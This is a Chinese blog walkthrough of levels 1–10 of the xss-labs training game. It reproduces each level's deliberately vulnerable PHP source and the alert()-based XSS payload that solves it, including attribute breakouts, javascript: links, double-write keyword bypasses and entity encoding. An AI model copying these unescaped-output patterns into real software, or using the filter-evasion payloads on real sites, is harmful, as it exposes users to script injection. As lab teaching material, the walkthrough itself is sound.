xss小游戏过关讲解和源码

最新推荐文章于 2024-04-30 05:17:19 发布
最新推荐文章于 2024-04-30 05:17:19 发布
阅读量1.3k 收藏 7
点赞数 3
分类专栏： web渗透笔记总结 文章标签： xss小游戏源码 xss练习 xss漏洞练习平台 xss xss游戏20关过关教程
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zdy8023/article/details/88903701
版权

最近看视频刚学xss，感觉光看视频，不练习有点脑袋空，便决定网上找一些源码，万幸还是比较容易找的，于是自己搭建环境，并开始了实战之路。

第一关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];   //此处未进行任何过滤
echo "<h2 align=center>欢迎用户".$str."</h2>";   //此处也为进行任何过滤
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

直接构造payload 

<script>alert(/xss/)</script>

 

第二关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

多余的那个含义解释

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是：

  • & （和号）成为 &
  • " （双引号）成为 "
  • ' （单引号）成为 '
  • < （小于）成为 <
  • > （大于）成为 >

那么什么是HTML实体，看这个例子你就懂了

此处代码截图来源w3cschool

那么我们了解这些知识之后，我们可以了解到预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体，可是下面的并没有转换，我们可以从input标签 下面的输入框进行xss

进行xss挖掘漏洞最重要的一部分就是要学会闭合标签

所以构造payload

"><script>alert(/xss/)</script>

成功执行

第三关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    //可以从这个看到value值也被实体化
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

<input name=keyword  value='".htmlspecialchars($str)."'>    //可以从这个看到value值也被实体化

而且value是以单引号结束

但是htmlspecialchars默认配置是不过滤单引号。只有设置了：quotestyle，才可以

那么可以用单引号闭合并且不能包含<>则

设置payload

'>onclick='window.alert()

 

可以看到成功执行并且闭合成功了

第四关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以发觉多了两行代码

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

对<  >进行过滤 ，替换为0

但是输入框没有被实体化，但是' 变为"  

所以构造payload

">οnclick="window.alert() 

可以看到闭合成功，并且执行成功

第五关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到与第四关不同地方

$str = strtolower($_GET["keyword"]);    strtolower()  函数将大写字符串转化为小写
$str2=str_replace("<script","<scr_ipt",$str);      将<script  替换为 ,<scr_ipt
$str3=str_replace("on","o_n",$str2);

此处我们不能利用第四关的payload了上面先转化为小写然后替换  所以将<script>大写也无用

此处重新构建payload

"><a href=javascript:alert();>test</a>

可以看到成功执行，并且构造成功

第六关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{ 
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

可以看到$str6=str_replace("href","hr_ef",$str5);将href添加了下划线

构造payload  只需转化为大写即可:

"><a HREF=javascript:alert()>test</a>

可以看到成功执行

第七关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

可以从上面代码看出，它使用了strtolower函数先将大写转化为小写之前方法无用，但是从下面可以看出，它将一个href替换为空

，那么我们想，如果添加两个呢，他会不会只过滤一个呢，这里需要注意的是必须在href中间在添一个，而不是一个后面跟着一个。

而且将script替换为空所以我们应该在javascript变为javascrscriptipt

构造payload

"><a hrhrefef=javascrscriptipt:alert()>test</a>

成功执行

第八关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); 
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

$str = strtolower($_GET["keyword"]); 
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

不能用大小写，过滤script,这里尝试将script其中一个字母编码，这里构造的payload为javascri&#x0070;t:alert() 

为什么只是这个呢因为这个将这个payload添加到友情链接当中了然后通过点击友情链接，实现xss

成功添加，点击友情链接后，成功执行

第九关

 

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

第九关可以看到，多了一个判断，只要没有检测到http://就提示链接不合法，那么怎么可以既有它，又不让它执行呢

构造payload    javascri&#x0070;t:alert(1)/*http://www.baidu.com*/    只要填加个注释，包含http://就行了

第十关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

连个参数keyword此处构造payload  

t_sort="οnclick="alert()"type="text"

完整请求链接

完美执行，

先写到10关吧，后面有点难，还得自己理解，消化，后面慢慢补上吧，如有任何问题，可以联系我，欢迎转载，但请注明作者，否则按侵权处理。

努力奋斗的小青年
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
xss源码小游戏.rar
07-09
在这个“xss源码小游戏”中，你将有机会深入理解和实践XSS攻击的基本原理和防御方法。下面，我们将详细探讨XSS的相关知识点。 一、XSS类型 XSS通常分为三种类型： 1. 存储型XSS：恶意脚本被存储在服务器端，然后在...
XSS-labs-level2详解
m0_49025459的博客
05-23 175
当用户在文本框中输入搜索关键字并点击提交按钮时，表单将通过GET方法发送给名为“level2.php”的脚本页面。PHP代码检查URL参数中的“keyword”值，对其进行HTML转义，然后将其用于搜索结果消息中的输出。​由此可见我们的输入的恶意代码并没有被网页直接执行，所以我们需要将标签闭合，然后注释掉最后面的”>。我们正常输入然后在网页前端看一下我的输入是否存在问题。而其他标签法遵循这个原理也可以进行xss。就可以成功绕过，形成反射性xss了。
DAY18：Xss 靶场通关手册
qq_49433473的博客
07-30 1253
xss-labs 靶场通关手册，超详细
XSS-Game 通关教程，XSS-Game level1-18，XSS靶场通关教程_xss靶场level
最新发布
2401_84186109的博客
04-30 626
3）第三步：弹窗测试，回车即可弹窗，自动进入下一关。4）从源码可以看到，第一关没有任何过滤。​​​​​​​​。
xss-labs靶场的搭建和通关（1-18）
qq_53003652的博客
04-12 1216
这次的xsslabs通关耗费了挺多时间，由于本人才学疏浅，难免会有一些错误，希望大家能指正批评，如有疑问，可在下方留言，会第一时间进行回复!
XSS之xss-labs-level2
Hugu
02-23 462
文章目录0x01 XSS-Labs0x02 实验工具0x03 实验环境0x04 实验步骤0x05 实验分析0x06 参考链接 0x01 XSS-Labs   XSS（跨站脚本攻击）是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该网页或请求该网页中的内容之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。   XSS按照利用方式主要分为：反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代
XSS实战训练————XSS小游戏闯关录（上）
Fly_鹏程万里
12-12 2454
前言 xss是渗透测试当中常见的一种漏洞类型，在平时的测试过程我们也会遇到不少的xss脆弱性测试点，挖掘不少的xss漏洞，但是有时候同样的测试点，你挖不到，别人却可以挖到，那么是为什么呢？基本上是由以下两个原因导致： 自我对xss理解不够全面或深入 自我的xss技巧不深 本系列文章将会通过以下XSS游戏小平台来和大家一起“XSS”！ 注：为了方便查看源代码，以及对xss利用的说明解析，笔者...
xss-labs小游戏
01-25
20关的xss游戏题，每一位xss大佬都做过哟，放在网站根目录即可纵享丝滑，快来尝试吧！
xss游戏平台源码
12-12
“xss游戏平台”源码的分析和学习可以帮助开发者理解如何构建一个安全的在线游戏环境，同时也能提高对Web安全和编程实践的认识。通过阅读“说明.txt”，我们可以获取更多关于源码结构和使用方法的信息，进一步加深...
xss闯关小游戏.zip
02-25
这是一款利用xss漏洞闯关的小游戏，无需连接数据库，共20关，非常适合网络安全攻防的初学者练习使用，使用及安装教程请看此链接，https://editor.csdn.net/md?articleId=104496122 欢迎各位小伙伴下载
H5小游戏源码 儿童纵横填字游戏.zip
10-14
"儿童纵横填字游戏"是一款专为儿童设计的H5小游戏源码，它结合了学习与娱乐，旨在提高孩子们的词汇量和逻辑思维能力。本文将深入探讨这款源码的核心技术、设计思路以及实现细节。 首先，H5小游戏的开发主要依赖...
XSS20关练习源码
09-04
包含20关XSS练习的源码。文件都为PHP类型，下载个phpstudy就可以搭建起来了。我已经通过了，所以共享出来给大家练习。
XSS练习平台
07-17
XSS练习平台、XSS练习平台XSS练习平台XSS练习平台XSS练习平台XSS练习平台
HTML5闯关小游戏代码
05-20
HTML5有望成为网络游戏开发的热门新平台，其跨平台性已奠定了其未来发展的基础。本专题为那些愿意学习或使用HTML5及相关Web技术开发交互式游戏的开发者而编写，为大家讲解HTML5游戏开发基础教程及分享实战经验。 今时今日，我们将加入HTML5游戏开发的急先锋，明日将成为时代的弄潮儿。
Xss小游戏通关攻略带解释
sirius的博客
08-28 5453
Xss小游戏通关攻略 实验环境：xss小游戏源码+phpstudy 源码地址：https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 实验步骤：启动phpstudy，浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。 第一关：输入的变量直接被输出，直接构造payload即可。 http://127.0.0.1/xss/level1.php?.
050 XSS通关小游戏——xss challenge
鸡蛋炒鸡蛋
03-05 5673
文章目录一：下载与部署二：通关过程首页level-01level-02level-03level-04level-05level-06level-07level-08level-09 一：下载与部署 xss challenge是个有关反射型xss的测试通关挑战，一共有20关。 下载地址：xss challenge (访问密码：donMkh) 下载之后解压，把得到的文件夹放在phpstudy的www文件夹下即可   二：通关过程 这个是我自己的通关方法，不一定很准确 首页 level-01 点击
XSS-Labs挑战笔记Level1-10
When you collect everything, you understand nothing.
10-11 3653
靶场下载地址：https://github.com/lyshark/xss-labs 每一关的后台源码重写了alert()方法，只要成功弹框即可进入下一关 Level 1 后台源码： <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" ...
xsslabs通关
qq_61774705的博客
07-15 633
两个地方都用了htmlspecialchars($str)，它的作用是将特殊符号转换成HTML实体，就是HTML为了防止特殊符号，如"
一文了解交易所level1，level2行情
热门推荐
景色正好的专栏
10-04 1万+
现在各大交易所都在不停迭代更新业务，行情种类很多，变化也很快，各种术语让一些初步接触人士晕头转向。然而行情对策略的影响却非常大，试想，如果相似的策略： 对于同一笔行情别人比你提前几十毫秒收到？ 一笔行情你只能看到买一卖一，别人却能看到买一到买五，卖一到卖五？ 你一秒内收到两笔行情，别人收到的却是四笔行情？ 本文将汇总介绍目前国内五大期货交易所，两大证券交易所的行情分发情况。后期也会在博客中持续更新...
下载有xss漏洞网页源码
07-07
对于下载含有XSS漏洞的网页源码，首先要明确XSS（跨站脚本攻击）是一种常见的网络安全漏洞，攻击者通过注入恶意脚本代码，使用户在浏览网页时受到攻击。 为了下载含有XSS漏洞的网页源码，我们可以按照以下步骤操作...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值